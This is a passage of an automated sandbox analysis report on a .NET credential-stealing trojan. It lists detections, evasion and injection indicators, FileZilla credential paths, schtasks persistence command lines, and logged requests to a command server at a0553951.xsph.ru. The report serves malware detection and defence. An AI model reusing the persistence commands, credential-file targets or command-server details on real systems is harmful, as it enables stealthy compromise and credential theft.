dropped file \"WmiPrvSE.exe\" as malicious (classified as \"Trojan.MSIL.Basic.8\" with 49% detection rate)\n 34/69 Antivirus vendors marked dropped file \"ShellExperienceHost.exe\" as malicious (classified as \"Trojan.MSIL.Basic.8\" with 49% detection rate)\n 34/69 Antivirus vendors marked dropped file \"AutoIt3_x64.exe\" as malicious (classified as \"Trojan.MSIL.Basic.8\" with 49% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"34/69 Antivirus vendors marked spawned process \"ShellExperienceHost.exe\" (PID: 7784) as malicious (classified as \"Trojan.MSIL.Basic.8\" with 49% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" allocated memory in \"%PUBLIC%\\Desktop\\ShellExperienceHost.exe:Zone.Identifier\"\n \"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe\" allocated memory in \"%WINDIR%\\System32\\cmd.exe\"","origin":"API Call","mitre_attack_id":"T1055.012","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$32","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$33","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"SOFTWARE\\\\Valve\\\\Steam\"\n \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\"\n \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"\n \"Software\\\\\\\\\"\n \"SOFTWARE\\\\Microsoft\\\\NET Framework Setup\\\\NDP\\\\v4\\\\Full\\\\\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"$34","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\".exe\" connecting to \"\\ThemeApiPort\"\n \"schtasks.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"\"https://steamcommunity.com/profiles/\" (Indicator: \"https://\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\".exe\" opened \"\\Device\\KsecDD\"\n \"schtasks.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT Caption FROM Win32_OperatingSystem\" (Indicator: \"win32_operatingsystem\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")\n \"SELECT * FROM Win32_BIOS\" (Indicator: \"win32_bios\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")\n \"SELECT * FROM Win32_BaseBoard\" (Indicator: \"win32_baseboard\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")\n \"SELECT * FROM Win32_Processor\" (Indicator: \"win32_process\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")\n \"Select * From Win32_ComputerSystem\" (Indicator: \"win32_computersystem\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$35","origin":"File/Memory","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"https://ipinfo.io/json\" (Indicator: \"ipinfo.io\"; File: \"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Found FTP credentials location strings","description":"\"\\\\FileZilla\\\\sitemanager.xml\" (Indicator: \"sitemanager.xml\") in Source: 6000615-gnKd2vCECONkOTFDkh3~TK3FG3ufX3\n \"Other/FileZilla#sitemanager.xml\" (Indicator: \"sitemanager.xml\") in Source: 6000615-gnKd2vCECONkOTFDkh3~TK3FG3ufX3\n \"\\\\FileZilla\\\\recentservers.xml\" (Indicator: \"recentservers.xml\") in Source: 6000615-gnKd2vCECONkOTFDkh3~TK3FG3ufX3\n \"Other/FileZilla#recentservers.xml\" (Indicator: \"recentservers.xml\") in Source: 6000615-gnKd2vCECONkOTFDkh3~TK3FG3ufX3","origin":"File/Memory","mitre_attack_id":"T1552.001","relevance":6,"id":"string-11","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"InternetOpenA@WININET.DLL\" in \".exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \".exe\"\n \"InternetReadFile@WININET.DLL\" in \".exe\"\n \"InternetOpenW@WININET.DLL\" in \".exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \".exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"level":"malicious","category":"Unusual Characteristics","name":"References suspicious system modules","description":"\"C:\\Temp\\csrss.exe\"\n \"\"schtasks\" /create /tn \"csrss\" /sc ONLOGON /tr \"'C:\\Temp\\csrss.exe'\" /rl HIGHEST /f\"","origin":"File/Memory","mitre_attack_id":"T1547.006","relevance":5,"id":"string-24","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Contains a remote desktop related string"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Evasive","details_count":6,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Marks file for deletion"},{"detail":"Tries to hide tracks of having downloaded a file from the internet"},{"detail":"Possibly tries to implement anti-virtualization techniques"},{"detail":"Checks network status using ping"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}]},"activity":{"stats":{"process_count":9,"spawned_processes_count":9,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":20,"imported_dlls_count":119,"dropped_files_count":0,"extracted_files_count":19,"files_written_count":30,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["phishing","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"63dda01eb5854e7e8017228e","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.MSIL.Basic.8","contacted_countries":["RUS"],"submit_name":"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe","analysis_start_time":"2023-02-04T00:00:30+00:00","indicators_count":{"informative":70,"suspicious":35,"malicious":13},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"63dd5e57b598a57b2c6bbeab","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.MSIL.Basic.8","contacted_countries":["RUS"],"submit_name":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.exe","analysis_start_time":"2023-02-03T19:25:37+00:00","indicators_count":{"informative":66,"suspicious":33,"malicious":17},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"141.8.197.42","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}],"dns_resolutions":[{"domain":"a0553951.xsph.ru","address":"141.8.197.42","country":"Russian Federation","registrar_name":"REGTIME-RU","registrar_organization":"SPRINTHOST.RU LLC","registrar_name_servers":"ns1.sprinthost.ru.","registrar_creation_date":"2008-07-30T20:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"},{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}],"http_requests":[{"host":"a0553951.xsph.ru","host_ip":"141.8.197.42:80","url":"/apiBigloadDbtrack.php?cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ&b6ec324bc9a7516862e5f46feb1811b1=9ea1c00d50237385904866634e41a0d8&dd1f40d9568603c2b8de85ab3103cf4a=QO4YWMiNmM0ATOyMWMygzNmBjZ1YGO3M2NwUmZmJ2MkdzY0QmNwQjN&cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ","method":"GET","header":"GET /apiBigloadDbtrack.php?cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ&b6ec324bc9a7516862e5f46feb1811b1=9ea1c00d50237385904866634e41a0d8&dd1f40d9568603c2b8de85ab3103cf4a=QO4YWMiNmM0ATOyMWMygzNmBjZ1YGO3M2NwUmZmJ2MkdzY0QmNwQjN&cx7Ukq=uu8nKMEVA3XUF4cv&unG7v3M=oa8e0eVVxxTaMab4nQwYHnPACx&7jh81wygvF1KZB8RGJU=TMMTeGxrAL8cD3YwQzcoX3pywGWWIWJ HTTP/1.1\nAccept: */*\nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1\nHost: a0553951.xsph.ru\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"host":"a0553951.xsph.ru","host_ip":"141.8.197.42:80","url":"/apiBigloadDbtrack.php?iK3n2EApXEngD=Tm8Is2n8gDeCuqGOKYEunsIO9tk2R&b6ec324bc9a7516862e5f46feb1811b1=9ea1c00d50237385904866634e41a0d8&dd1f40d9568603c2b8de85ab3103cf4a=wNwEmY1ITOxI2N1UGNkBjZiJTOiVGOkhzN0cTO2YGNhJTZ2ADMhRDM&iK3n2EApXEngD=Tm8Is2n8gDeCuqGOKYEunsIO9tk2R","method":"GET","header":"GET /apiBigloadDbtrack.php?iK3n2EApXEngD=Tm8Is2n8gDeCuqGOKYEunsIO9tk2R&b6ec324bc9a7516862e5f46feb1811b1=9ea1c00d50237385904866634e41a0d8&dd1f40d9568603c2b8de85ab3103cf4a=wNwEmY1ITOxI2N1UGNkBjZiJTOiVGOkhzN0cTO2YGNhJTZ2ADMhRDM&iK3n2EApXEngD=Tm8Is2n8gDeCuqGOKYEunsIO9tk2R HTTP/1.1\nAccept: */*\nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\nHost: a0553951.xsph.ru\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}],"processes":[{"pid":7040,"ppid":0,"name":"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe","command_line":"","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","normalized_path":"C:\\HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe","uid":"00000000-00007040","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABDElEQVR42u2WSwrCMBCGiwgiggjiWRUfoKgLwbVQ8DQiXkHbA/QAfbebkVm0ZpGk07ENgh346a7fN38gxLK66eZX5ng6g8kYE7jdH9KvVMDzPCNRCuR53kqyLCuTpmm9BvAH1vxJThW8UuBiX8uIArODC9O9C5OdC+OtA6ONA8O1A4PVC/rLF/QWHwHbtpVJkoTXAAUuNiDbHOFsAQq8kQZUR0CBY3SbY+I45jVAgRcCugbYAhR4IaDavAjrCChwDIJ1DURRxGuAAi8EVJsjnC1AgWMQ+lUDqiOgRrc5JgzDdq9iWQMivHUB3eZGBVTwIAjqC1Td7VVnLsJZAk3Cfd83+yQjvwm76eZv5w1WzRqWyEpLtgAAAABJRU5ErkJggg=="},{"pid":7540,"ppid":7040,"name":"schtasks.exe","command_line":"\"schtasks\" /create /tn \"ShellExperienceHost\" /sc ONLOGON /tr \"'%ALLUSERSPROFILE%\\Desktop\\ShellExperienceHost.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00007040","uid":"00000000-00007540"},{"pid":7816,"ppid":7040,"name":"schtasks.exe","command_line":"\"schtasks\" /create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'%PROGRAMFILES%\\(x86)\\AutoIt3\\AutoIt\\AutoIt3_x64.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00007040","uid":"00000000-00007816"},{"pid":6536,"ppid":7040,"name":"schtasks.exe","command_line":"\"schtasks\" /create /tn \"AutoIt3_x64\" /sc ONLOGON /tr \"'%USERPROFILE%\\My Documents\\AutoIt3_x64.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00007040","uid":"00000000-00006536"},{"pid":8032,"ppid":7040,"name":"schtasks.exe","command_line":"\"schtasks\" /create /tn \"WmiPrvSE\" /sc ONLOGON /tr \"'%WINDIR%\\System32\\wbem\\p2p-mesh\\WmiPrvSE.exe'\" /rl HIGHEST /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\SYSTEM32\\schtasks.exe","parent_uid":"00000000-00007040","uid":"00000000-00008032"},{"pid":2924,"ppid":7040,"name":"cmd.exe","command_line":"/C \"%TEMP%\\6TnwmlA4fm.bat\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00007040","uid":"00000000-00002924"},{"pid":3700,"ppid":2924,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00002924","uid":"00000000-00003700"},{"pid":1124,"ppid":2924,"name":"PING.EXE","command_line":"ping -n 5 localhost","sha256":"a97f91d6f165705edd286aeff25691806759bfdb051b20c4853965247dda36da","normalized_path":"%WINDIR%\\system32\\PING.EXE","parent_uid":"00000000-00002924","uid":"00000000-00001124"},{"pid":7784,"ppid":2924,"name":"ShellExperienceHost.exe","command_line":"","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","normalized_path":"%ALLUSERSPROFILE%\\Desktop\\ShellExperienceHost.exe","parent_uid":"00000000-00002924","uid":"00000000-00007784"}],"all_imported_dlls":["wmiutils.dll","fastprox.dll","shell32.dll","apphelp.dll","uxtheme.dll","bcrypt.dll","aepic.dll","propsys.dll","xmllite.dll","rasadhlp.dll","VxSSL64.dll","mscoreei.dll","msvcp_win.dll","fsutilext.dll","FWPUCLNT.DLL","OnDemandConnRouteHelper.dll","combase.dll","oleaut32.dll","wbemsvc.dll","sspicli.dll","System.Xml.ni.dll","ulib.dll","dnsapi.dll","dhcpcsvc6.dll","user32.dll","imagehlp.dll","KernelBase.dll","vcruntime140_clr0400.dll","System.ni.dll","Microsoft.VisualBasic.ni.dll","rsaenh.dll","winnsi.dll","bcryptprimitives.dll","shlwapi.dll","version.dll","mscorlib.ni.dll","WMINet_Utils.dll","fltLib.dll","cfgmgr32.dll","cryptbase.dll","ntmarta.dll","cldapi.dll","SHCore.dll","msvcrt.dll","ucrtbase.dll","win32u.dll","clr.dll","System.Windows.Forms.ni.dll","System.Management.ni.dll","System.Configuration.ni.dll","System.Runtime.Serialization.ni.dll","edputil.dll","IPHLPAPI.DLL","ntdll.dll","advapi32.dll","rpcrt4.dll","psapi.dll","msIso.dll","ws2_32.dll","gdi32.dll","profapi.dll","Windows.StateRepositoryPS.dll","mswsock.dll","nsi.dll","rasapi32.dll","rtutils.dll","System.Drawing.ni.dll","wbemprox.dll","urlmon.dll","iertutil.dll","imm32.dll","rpcss.dll","powrprof.dll","cryptsp.dll","rasman.dll","winhttp.dll","mscoree.dll","ole32.dll","ucrtbase_clr0400.dll","wbemcomn.dll","windows.storage.dll","taskschd.dll","cmdext.dll","sechost.dll","System.Core.ni.dll","dhcpcsvc.dll","kernel32.dll","gdi32full.dll","kernel.appcore.dll","clrjit.dll","setupapi.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","lpk.dll","nlssorting.dll","api-ms-win-downlevel-user32-l1-1-0.dll","normaliz.dll","wininet.dll","comctl32.dll","Wldap32.dll","webio.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","userenv.dll","devobj.dll","credssp.dll","ntdsapi.dll","api-ms-win-downlevel-version-l1-1-0.dll","WSHTCPIP.DLL","clbcatq.dll","wship6.dll","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","RpcRtRemote.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","usp10.dll","ktmw32.dll","msctf.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ShellExperienceHost.exe","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"AutoIt3_x64.exe","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"WmiPrvSE.exe","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"CHCP.COM.63DD3700.bin","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"6TnwmlA4fm.bat","sha256":"377b67e8fe27384386e6f0b857ff269b00c05d576c820e14b0b2d4567045e620","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"HEUR-Trojan-Spy.MSIL.Stealer.gen-980024e8c13c.exe.log","sha256":"9559f9633f180b03687b139e2c6135436c52f3487f6091c8cf95631d29b5de37","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"ShellExperienceHost.exe.log","sha256":"174f9e7aa8aa49015f43a9d23a9ca501c3d94074b600b30651ced95b1fc47a43","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"f8c8f1285d826bc63910aaf97db97186ba642b4f","sha256":"a3fa0deeff85d71d3ac47fe436c531ef6853ca5c2d2a7dfd24e36252a0e98ce4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"hchJ5AbFW3","sha256":"82385e815fc4b04b53c63d42a5b5ca0025f908186d57fb4a87ab248d8f9b7024","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"21217b1546ce0481b3c74099dfbd96666b497b32","sha256":"d69899a2b323fec58d57222bf476dd92ecc0af8d5fb4da191b4d50d5eacbb471","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"24dbde2999530ef5fd907494bc374d663924116c","sha256":"41b1271bcc6d907393c7cff2cc183653878a5b2508b0a87354d18dc99bdc1141","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"name":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50.exe","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"mobsync.exe","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"smss.exe","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"csrss.exe","sha256":"980024e8c13ce835dbfa28f8eea51e701e36b1a085061445d14f7f4e87a44e50","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"5d92d2d4b3d0662bd9bf0b2226a8417bf25f226b","sha256":"95a3d7444ad52b36dd91878e6b0ceb8ea8e1439302b3f919d9ea752633f4a19b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa","sha256":"14a112ccbfc173f011a9b2fce06ed8abd5d6f90fb1395c798df97defaf65ab25","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"69ddcba757bf72f7d36c464c71f42baab150b2b9","sha256":"ece030fbfe49a99c3c0e25b9af2b723dff01514735b6b7b96ef6d480e01c958d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]},{"name":"886983d96e3d3e31032c679b2d4ea91b6c05afef","sha256":"359585e17654e8f862ec2969bd24a526eff046cfdd899a3594814e8b0dd5abef","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dd5e57b598a57b2c6bbeab"}]}],"files_written":[{"path":"%ALLUSERSPROFILE%\\Desktop\\ShellExperienceHost.exe","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%ALLUSERSPROFILE%\\Desktop\\f8c8f1285d826bc63910aaf97db97186ba642b4f","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%PROGRAMFILES%\\(x86)\\AutoIt3\\AutoIt\\AutoIt3_x64.exe","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%PROGRAMFILES%\\(x86)\\AutoIt3\\AutoIt\\21217b1546ce0481b3c74099dfbd96666b497b32","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%USERPROFILE%\\My Documents\\AutoIt3_x64.exe","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%USERPROFILE%\\Documents\\AutoIt3_x64.exe","sources":[{"report_type":"sandbox","report_id":"63dda01eb5854e7e8017228e"}]},{"path":"%USERPROFILE%\\My 